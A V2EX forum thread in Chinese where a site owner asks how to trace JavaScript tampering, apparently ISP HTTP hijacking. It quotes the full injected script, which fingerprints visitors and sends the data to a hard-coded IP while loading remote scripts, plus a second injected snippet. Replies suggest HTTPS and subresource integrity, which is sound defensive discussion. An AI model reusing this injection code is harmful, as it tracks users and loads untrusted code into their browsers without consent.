JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改?

2018-02-08 11:59:06 +08:00
 AifeiI

被篡改后的 js:


!
function(a, b) {
    function c(a) {
        var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) {
            if (g = 255 & a.charCodeAt(e++), e == f) {
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4),
                d += "==";
                break
            }
            if (h = a.charCodeAt(e++), e == f) {
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                d += b.charAt((15 & h) << 2),
                d += "=";
                break
            }
            i = a.charCodeAt(e++),
            d += b.charAt(g >> 2),
            d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
            d += b.charAt((15 & h) << 2 | (192 & i) >> 6),
            d += b.charAt(63 & i)
        }
        return d
    }
    function d() {
        return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": ""
    }
    function e() {
        function e() {
            var a = "",
            c = b.plugins;
            if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";";
            return a
        }
        var f = b.appName,
        g = b.cookieEnabled,
        h = b.cpuClass,
        i = b.mimeTypes,
        j = b.platform,
        l = b.plugins,
        m = b.userAgent;
        return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth,
        c(pStr)
    }
    function g(a) {
        try {
            var b = new Image;
            b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random()
        } catch(c) {}
    }
    var h, i, j, k, l, m, n, f = 0;
    return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth),
    document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth),
    window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() {
        if (k++, 10 == k) return clearInterval(j),
        void 0;
        try {
            document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1)
        } catch(a) {}
    },
    500), void 0))
} (window, navigator);

除了上 https 还有其它办法?

8700 次点击
所在节点    JavaScript
41 条回复
yangqi
2018-02-08 12:04:01 +08:00
上 https 也没用,目测是代码有漏洞,这个只能一步步排查
morethansean
2018-02-08 12:14:32 +08:00
我本来以为就是劫持看了一楼的回复,你是说服务器上的源文件被串改了?
opengps
2018-02-08 12:36:43 +08:00
多数垃圾 js 是 http 协议传输导致在网络传输过程中被注入。
个别的情况,我遇到过一次,服务器中了一个垃圾广告流氓病毒,对外输出时候就成了带垃圾 js 的。
如果是 http 中间注入很容易识别,在服务器上,本地访问查看源码即可(条件允许最好是用内网服务器查看),另外就是多几个客户端线路访问下进行对比。 这里顺便聚个现实例子,谴责下长城宽带,我自己的网站,从本地联通到本地长城宽带,就被注入了广告
7654
2018-02-08 12:38:05 +08:00
是被劫持了還是云主机被黑了?
AifeiI
2018-02-08 13:25:53 +08:00
@yangqi #1

@morethansean #2

@opengps #3

@7654 #4

不是服务器文件被篡改,是访问页面时,某一个 js 获取的请求得到的内容被篡改为以上内容(一定几率会遇到),原内容直接访问地址是可以获取到的。
timothyye
2018-02-08 13:32:44 +08:00
看来得上 https
just1
2018-02-08 13:32:45 +08:00
你先服务器本地访问试试,也出现就排除网络因素
wrongwaycn
2018-02-08 13:38:04 +08:00
你是不是用了 daovoice?
AifeiI
2018-02-08 13:42:10 +08:00
@wrongwaycn 并没有
wrongwaycn
2018-02-08 13:44:21 +08:00
那你人在深圳么?
vghdjgh
2018-02-08 13:44:55 +08:00
subresource integrity
AifeiI
2018-02-08 13:47:37 +08:00
@just1 本地确认过,没有问题
wrongwaycn
2018-02-08 13:48:25 +08:00
@AifeiI 我现在遇到了和你一样的问题,我的坐标是深圳南山区软件创业基地, 当我以 http 引用所有来自 daovoice 的 js 时, 就会出现如你一样的 js 填入
AifeiI
2018-02-08 13:50:21 +08:00
@wrongwaycn 不在
wrongwaycn
2018-02-08 13:52:05 +08:00
<script type='text/javascript' src="http://widget.daovoice.io/XXXXXXX.js"></script>
当我模板中出现这个 js 引入时, 就会被填入 js 代码
wrongwaycn
2018-02-08 13:53:37 +08:00
这是被填入的 js 内容
var _ju = "http://widget.daovoice.io/xx.js";_ju += (_ju.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "AH488609";var _c = "111771091_(iKgfV1g6wj8dwKyRiK5N_2069540581_@iKmfiJPNDK9dD6oeiKy6VXTa";
var N1=document.createElement("script");N1.setAttribute("type","text/javascript"),N1.setAttribute("src",_ju),document.head?document.head.appendChild(N1):document.body&&document.body.appendChild(N1);
var N2=document.createElement("script");N2.setAttribute("type","text/javascript"),N2.setAttribute("src","http://183.59.53.237:8001/pjk/static/tp.php?b="+_b+"&m="+_ju),document.head?document.head.appendChild(N2):document.body&&document.body.appendChild(N2);
AifeiI
2018-02-08 13:58:11 +08:00
@wrongwaycn 好吧,那就是 ISP 老油条又来年底拉绩效了
wrongwaycn
2018-02-08 14:00:48 +08:00
其他的外部 js 就不会, daocloud/daovoice 都中招, 我把网络切换到手机热点就不用被注入 js 代码
AifeiI
2018-02-08 14:01:06 +08:00
@vghdjgh 不用 HTTPS 的话,也是没有效果....
pmispig
2018-02-08 14:10:09 +08:00
应该是 http 被劫持了,不然用 vpn 内网访问试试

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/429419

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX